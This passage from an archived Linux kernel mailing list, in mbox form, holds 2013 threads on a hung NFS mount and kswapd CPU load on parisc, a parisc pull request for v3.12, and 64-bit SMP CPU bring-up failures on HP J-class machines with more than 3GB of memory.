>>>> At least kernel 3.10 (and I think 3.11) didn't showed that problem.
>>>>
>>>> The symtom is, that "top" shows high usage of either kswapd0 or kswapd1.
>>>> Here is an output with kswapd1:
>>>>   PID USER      PR  NI  VIRT  RES  SHR S  %CPU %MEM     TIME COMMAND
>>>>    37 root      20   0     0    0    0 R  91.8  0.0  63:00.40 kswapd1
>>>> 28448 root      20   0  3252 1428 1060 R  15.3  0.0   0:00.09 top
>>>>     1 root      20   0  2784  988  852 S   0.0  0.0   0:09.95 init
>>>>
>>>> This is what ps shows:
>>>> lsXXXX:~# ps -ef |  grep mount
>>>> root      1181     1  0 14:51 ?        00:00:18 /usr/sbin/automount --pid-file /var/run/autofs.pid
>>>> root     25331  1181  0 21:25 ?        00:00:00 /bin/mount -n -t nfs -s -o nolock,rw,hard,intr homes:/unixhome1 /net/home1
>>>> root     25332 25331  0 21:25 ?        00:00:00 /sbin/mount.nfs homes:/unixhome1 /net/home1 -s -n -o rw,nolock,hard,intr
>>>>
>>>> And using sysrq to show the blocked tasks I get in syslog:
>>>> SysRq : Show Blocked State
>>>> mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
>>>> Backtrace:
>>>> [<0000000040113a68>] __schedule
>>>>
>>>> I know it's not a problem of the NFS server, since the same mount is still ok on other machines.
>>>> The NFS directory was already mounted and in use when this mount happened again (called by cron-job). 
>>>>  
>>>> Any ideas?
>>>
>>> If the NFS directory is already mounted, then why is the automounter
>>> trying to mount it a second time?
>>
>> I was wrong in this.
>> The directory wasn't mounted yet (or at least it was unmounted in the meantime before the new
>> mount.nfs was called).
>>
>> I'm now not even sure, that the high kswapd is really triggered by the NFS problem,
>> because I now have another machine with the blocked NFS-mount, but without
>> the high kswapd usage.
>>
>> Nevertheless, the blocked nfs mount tasks really make me wonder. There is clearly
>> some kind of regression since it doesn't happen with older kernels.
> 
> Have you ever reproduced it without the automounter?

No, because it happens only after quite some time (>12h) and only if I have it
under pressure (load is >9 on a 4-way box).

I'll try it as soon as possible.

> Also, could you please try a sysRQ-t the next time it happens, so that
> we can get a trace of where the mount program is hanging. Knowing that
> the mount is stuck in "__schedule()" is not really interesting unless we
> know from where that was called.

Actually, the machine was still running in this state.
Here is sysrq-t:
[112009.084000] mount           S 00000000401040c0     0 25331      1 0x00000010
[112009.084000] Backtrace:
[112009.084000]  [<0000000040113a68>] __schedule+0x500/0x810
[112009.232000]
[112009.232000] mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
[112009.232000] Backtrace:
[112009.232000]  [<0000000040113a68>] __schedule+0x500/0x810

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Myklebust, Trond" <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Fri, 18 Oct 2013 20:12:14 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <1382127133.20461.9.camel@leira.trondhjem.org>
References: <52604BA9.20104@gmx.de>
		 <1382044045.3216.44.camel@leira.trondhjem.org> <52618B5F.4000508@gmx.de>
	 <1382124981.20461.4.camel@leira.trondhjem.org> <5261940A.4090101@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-7"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1382127134 32677 80.91.229.3 (18 Oct 2013 20:12:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Oct 2013 20:12:14 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	NFS list <linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-parisc <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Fri Oct 18 22:12:19 2013
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1VXGPD-0000eg-5D
	for glN-linux-nfs-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Fri, 18 Oct 2013 22:12:19 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753352Ab3JRUMR (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Fri, 18 Oct 2013 16:12:17 -0400
Original-Received: from mx12.netapp.com ([216.240.18.77]:54287 "EHLO mx12.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756856Ab3JRUMP convert rfc822-to-8bit (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Fri, 18 Oct 2013 16:12:15 -0400
X-IronPort-AV: E=Sophos;i="4.93,524,1378882800"; 
   d="scan'208";a="102054501"
Original-Received: from vmwexceht05-prd.hq.netapp.com ([10.106.77.35])
  by mx12-out.netapp.com with ESMTP; 18 Oct 2013 13:12:15 -0700
Original-Received: from SACEXCMBX04-PRD.hq.netapp.com ([169.254.6.215]) by
 vmwexceht05-prd.hq.netapp.com ([10.106.77.35]) with mapi id 14.03.0123.003;
 Fri, 18 Oct 2013 13:12:15 -0700
Thread-Topic: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Thread-Index: AQHOy3lvGBMaqnz/ckaeVwLZiNCsrJn52CeAgAF2G4CAAALIgIAAB40AgAACeYA=
In-Reply-To: <5261940A.4090101-Mmb7MZpHnFY@public.gmane.org>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [10.106.53.51]
Content-ID: <0C8CAFECCC43B14290CE04CBE14BD7C3-c5HhxtLuC0z3oGB3hsPCZA@public.gmane.org>
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:59344 gmane.linux.kernel:1582239 gmane.linux.ports.parisc:5394
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/59344>

On Fri, 2013-10-18 at 22:03 +-0200, Helge Deller wrote:
+AD4- On 10/18/2013 09:36 PM, Myklebust, Trond wrote:
+AD4- +AD4- Also, could you please try a sysRQ-t the next time it happens, so that
+AD4- +AD4- we can get a trace of where the mount program is hanging. Knowing that
+AD4- +AD4- the mount is stuck in +ACIAXwBf-schedule()+ACI- is not really interesting unless we
+AD4- +AD4- know from where that was called.
+AD4- 
+AD4- Actually, the machine was still running in this state.
+AD4- Here is sysrq-t:
+AD4- +AFs-112009.084000+AF0- mount           S 00000000401040c0     0 25331      1 0x00000010
+AD4- +AFs-112009.084000+AF0- Backtrace:
+AD4- +AFs-112009.084000+AF0-  +AFsAPA-0000000040113a68+AD4AXQ- +AF8AXw-schedule+0x500/0x810-
+AD4- +AFs-112009.232000+AF0-
+AD4- +AFs-112009.232000+AF0- mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
+AD4- +AFs-112009.232000+AF0- Backtrace:
+AD4- +AFs-112009.232000+AF0-  +AFsAPA-0000000040113a68+AD4AXQ- +AF8AXw-schedule+0x500/0x810-

That makes no sense unless sysrq-t works differently on parisc than on
other platforms. I'd expect the backtrace to at least include a system
call. Parisc experts?

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust+AEA-netapp.com
www.netapp.com
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.nfs
Subject: Re: 3.12-rcX - NFS regression - kswapd0 / kswapd1 stays using 100%
 CPU?
Date: Sat, 19 Oct 2013 20:27:44 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <5262CF20.20301@gmx.de>
References: <52604BA9.20104@gmx.de>		 <1382044045.3216.44.camel@leira.trondhjem.org> <52618B5F.4000508@gmx.de>	 <1382124981.20461.4.camel@leira.trondhjem.org> <5261940A.4090101@gmx.de> <1382127133.20461.9.camel@leira.trondhjem.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-7
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382207273 13116 80.91.229.3 (19 Oct 2013 18:27:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Oct 2013 18:27:53 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	NFS list <linux-nfs@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: "Myklebust, Trond" <Trond.Myklebust@netapp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 19 20:27:57 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VXbFk-00016g-FI
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Oct 2013 20:27:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753251Ab3JSS1r (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Oct 2013 14:27:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:58771 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752642Ab3JSS1q (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Oct 2013 14:27:46 -0400
Original-Received: from [192.168.178.60] ([84.173.16.34]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MfmWy-1VLRem3cii-00N94m for
 <linux-parisc@vger.kernel.org>; Sat, 19 Oct 2013 20:27:44 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <1382127133.20461.9.camel@leira.trondhjem.org>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:xPO3PuwEOoEwvXZdWWWatFmXZ2s2wsAeqBum++yOwmZPJUlBpt5
 npGKc5f71GBxP9oPuWppdMV18q8LoWlpmUPUw3bzM+2OaIbAka59OdcIaq1kALueAn+cZoD
 szAgr2W7+NbK2qXjZsBWb3pKH38KHEdXDQ64ltifYrWsZWPBV8VEqeTAqn2+MZf4imOotbS
 HnvchCp/73DPlO0VTOmcA==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5395 gmane.linux.kernel:1582455 gmane.linux.nfs:59345
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5395>

On 10/18/2013 10:12 PM, Myklebust, Trond wrote:
> On Fri, 2013-10-18 at 22:03 +0200, Helge Deller wrote:
>> On 10/18/2013 09:36 PM, Myklebust, Trond wrote:
>>> Also, could you please try a sysRQ-t the next time it happens, so that
>>> we can get a trace of where the mount program is hanging. Knowing that
>>> the mount is stuck in "__schedule()" is not really interesting unless we
>>> know from where that was called.
>>
>> Actually, the machine was still running in this state.
>> Here is sysrq-t:
>> [112009.084000] mount           S 00000000401040c0     0 25331      1 0x00000010
>> [112009.084000] Backtrace:
>> [112009.084000]  [<0000000040113a68>] __schedule
>> [112009.232000]
>> [112009.232000] mount.nfs       D 00000000401040c0     0 25332  25331 0x00000010
>> [112009.232000] Backtrace:
>> [112009.232000]  [<0000000040113a68>] __schedule
> 
> That makes no sense unless sysrq-t works differently on parisc than on
> other platforms. I'd expect the backtrace to at least include a system
> call. Parisc experts?

sysrq-t doesn't work differently on parisc. For other processes I do get
a backtrace like the one on x86_64.
That's the main reason why I asked for ideas here on the list.
I do see the stuck process, but don't see any indications where it comes from.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v3.12
Date: Sat, 19 Oct 2013 22:27:59 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20131019202759.GA3700@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1382214485 22161 80.91.229.3 (19 Oct 2013 20:28:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 19 Oct 2013 20:28:05 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 19 22:28:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VXd83-0000nx-4u
	for glpp-linux-parisc@plane.gmane.org; Sat, 19 Oct 2013 22:28:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752444Ab3JSU2G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 19 Oct 2013 16:28:06 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:61309 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752345Ab3JSU2F (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 19 Oct 2013 16:28:05 -0400
Original-Received: from p100.box ([84.173.16.34]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MKprU-1VXd7x2XVA-000808 for
 <linux-parisc@vger.kernel.org>; Sat, 19 Oct 2013 22:28:03 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:KvCOqcnq7e+IuNkRzphEUN9Cil676aLGu7Kz5WX5lrtF9cwd8W5
 YUyaykxkoukQRyNQiGungNBw+Zz9AiPqseg7iV0rRA7oijQBFs8SdtqPBA6M8Sr8Rms5BGF
 WvU9VyGGu3004KqsWMV/UmCEdgyDNEtus0btw1tgQ0Sm54iBDo2bcUV5qTpItbgMXfId2xe
 Lp35Ed3ioErZmEFsep69g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5396 gmane.linux.kernel:1582473
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5396>

Hi Linus,

Please pull the latest parisc fixes from

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.12

There are just two small fixes in here:
- Revert a commit which exported the flush_cache_page function. This was
  noticed by Christoph Hellwig. 
- Enable the DEVTMPFS, DEVTMPFS_MOUNT and BLK_DEV_INITRD config options in the
  parisc defconfigs so that latest udev/initrd finds the root disk at boot.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (2):
      Revert "parisc: Export flush_cache_page() (needed by lustre)"
      parisc: enable DEVTMPFS, DEVTMPFS_MOUNT and BLK_DEV_INITRD in defconfigs

 arch/parisc/configs/712_defconfig     | 2 ++
 arch/parisc/configs/a500_defconfig    | 2 ++
 arch/parisc/configs/b180_defconfig    | 3 +++
 arch/parisc/configs/c3000_defconfig   | 3 +++
 arch/parisc/configs/c8000_defconfig   | 2 ++
 arch/parisc/configs/default_defconfig | 2 ++
 arch/parisc/kernel/cache.c            | 1 -
 7 files changed, 14 insertions(+), 1 deletion(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: HP J5600/J6750 64bit SMP CPU#1 stuck problems [was: Does there exists
 any 32bit-only PARISC SMP machines?]
Date: Mon, 21 Oct 2013 22:07:37 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <52658989.5090508@gmx.de>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382386060 19709 80.91.229.3 (21 Oct 2013 20:07:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Oct 2013 20:07:40 +0000 (UTC)
Cc: Dave Land <xmechanic@landcomp.net>,
	John David Anglin <dave.anglin@bell.net>
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 21 22:07:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYLlN-0001Ag-42
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Oct 2013 22:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751855Ab3JUUHk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Oct 2013 16:07:40 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:57366 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751802Ab3JUUHk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Oct 2013 16:07:40 -0400
Original-Received: from [192.168.178.60] ([84.173.51.174]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0LpbJm-1WBHcS15tu-00fVDE for
 <linux-parisc@vger.kernel.org>; Mon, 21 Oct 2013 22:07:38 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.0
In-Reply-To: <20130904142847.GA2893@glitch>
X-Enigmail-Version: 1.5.2
X-Provags-ID: V03:K0:Lt+8oEyB7kZzkdKuOqI8mbld1pRkR459Q8ppZQrGid4NA0yblH+
 XejotvQPpFDYgPTXDJuTIIUkBdE2qCmvnBeqKh9D85bYuPaYUJnXMz1GGtVEq+W+TQ2Y6re
 tic/qVtEenbKxZkU5uMSKzjg6OpLUN3deTu/sMlYefNfrbQgR+8G6yAtKLcv4wF3iKqtzJw
 oVc2Fd52T2VS/ORXeesRQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5397
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5397>

Domenico,

On 09/04/2013 04:28 PM, Domenico Andreoli wrote:
>>>> J5600 is SMP capable in both 32bit and 64bit mode.
>>>> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
>>>> it down but can confirm it happens also on more recent kernels.
>>
>> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
>> system but at least it boots one, something that didn't happen in some
>> darker moments since 2.6.22.
>>
>> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.
> 
> BTW, this is the most detailed investigation I'm aware of:
> https://lkml.org/lkml/2008/4/20/251

Dave Anglin had the idea that the 64bit SMP CPU#1 stuck problems might be
related to PDC- or I/O-space conflicts with physical memory.
On Dave Land's machine (J6750) we could verify that off-list.  

I assume you have more than 3GB (4GB) RAM in your machine?
If yes, then if you phyiscally remove some memory so that you leave a max. 
of 3GB in, the 64bit SMP kernel will most likely boot up all CPUs.

You wrote:
> mine doesn't boot 64bit SMP since 2.6.22. 

Are you *really* sure that it booted 64bit SMP with kernel 2.6.22 ?
Or did you maybe upgraded memory after that date?
If it sucessfully booted, then we maybe have only some kind of regression. 

Helge 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP J5600/J6750 64bit SMP CPU#1 stuck problems [was: Does there
 exists any 32bit-only PARISC SMP machines?]
Date: Mon, 21 Oct 2013 16:37:41 -0400
Lines: 48
Approved: news@gmane.org
Message-ID: <BLU0-SMTP632514F697DEA3A182EE9897010@phx.gbl>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch> <52658989.5090508@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382387821 7944 80.91.229.3 (21 Oct 2013 20:37:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Oct 2013 20:37:01 +0000 (UTC)
Cc: Dave Land <xmechanic@landcomp.net>
To: Helge Deller <deller@gmx.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 21 22:37:05 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYMDn-0002bC-U7
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Oct 2013 22:37:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751079Ab3JUUhD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Oct 2013 16:37:03 -0400
Original-Received: from blu0-omc4-s12.blu0.hotmail.com ([65.55.111.151]:32461 "EHLO
	blu0-omc4-s12.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750937Ab3JUUhC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Oct 2013 16:37:02 -0400
Original-Received: from BLU0-SMTP63 ([65.55.111.135]) by blu0-omc4-s12.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 21 Oct 2013 13:37:00 -0700
X-TMN: [zgIeA/Xb7hxLX6Rd/8gjXAkE1qrNrRVe]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.0.181] ([65.94.236.11]) by BLU0-SMTP63.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Mon, 21 Oct 2013 13:36:59 -0700
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.0.1
In-Reply-To: <52658989.5090508@gmx.de>
X-OriginalArrivalTime: 21 Oct 2013 20:36:59.0953 (UTC) FILETIME=[4ABED210:01CECE9D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5398
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5398>

It also likely will boot 32-bit SMP kernel with both CPUs with more than 
3 GB memory.  This provides 3.63 GB
of usable memory.

Dave

On 10/21/2013 4:07 PM, Helge Deller wrote:
> Domenico,
>
> On 09/04/2013 04:28 PM, Domenico Andreoli wrote:
>>>>> J5600 is SMP capable in both 32bit and 64bit mode.
>>>>> mine doesn't boot 64bit SMP since 2.6.22. I've never been able to trace
>>>>> it down but can confirm it happens also on more recent kernels.
>>> I confirm that smp parisc64 v3.11 doesn't bring up both the cpus on my
>>> system but at least it boots one, something that didn't happen in some
>>> darker moments since 2.6.22.
>>>
>>> similar "SMP: CPU:1 is stuck." happens also with debian v3.10-parisc64-smp kernel.
>> BTW, this is the most detailed investigation I'm aware of:
>> https://lkml.org/lkml/2008/4/20/251
> Dave Anglin had the idea that the 64bit SMP CPU#1 stuck problems might be
> related to PDC- or I/O-space conflicts with physical memory.
> On Dave Land's machine (J6750) we could verify that off-list.
>
> I assume you have more than 3GB (4GB) RAM in your machine?
> If yes, then if you phyiscally remove some memory so that you leave a max.
> of 3GB in, the 64bit SMP kernel will most likely boot up all CPUs.
>
> You wrote:
>> mine doesn't boot 64bit SMP since 2.6.22.
> Are you *really* sure that it booted 64bit SMP with kernel 2.6.22 ?
> Or did you maybe upgraded memory after that date?
> If it sucessfully booted, then we maybe have only some kind of regression.
>
> Helge
>
>
>


-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:46 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP J5600/J6750 64bit SMP CPU#1 stuck problems [was: Does there
 exists any 32bit-only PARISC SMP machines?]
Date: Mon, 21 Oct 2013 22:39:12 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <526590F0.8040504@gmx.de>
References: <521F9848.4010404@gmx.de> <1377830541.2331.5.camel@dabdike> <20130903155643.GA1430@glitch> <trinity-b7a0d82a-16b9-4204-be6e-2873db548248-1378282389073@3capp-gmx-bs28> <20130904140705.GA30223@glitch> <20130904142847.GA2893@glitch> <52658989.5090508@gmx.de> <BLU0-SMTP632514F697DEA3A182EE9897010@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1382387961 9632 80.91.229.3 (21 Oct 2013 20:39:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Oct 2013 20:39:21 +0000 (UTC)
Cc: Dave Land <xmechanic@landcomp.net>
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Domenico Andreoli <cavokz@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 21 22:39:24 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VYMG4-0003s8-5v
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Oct 2013 22:39:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
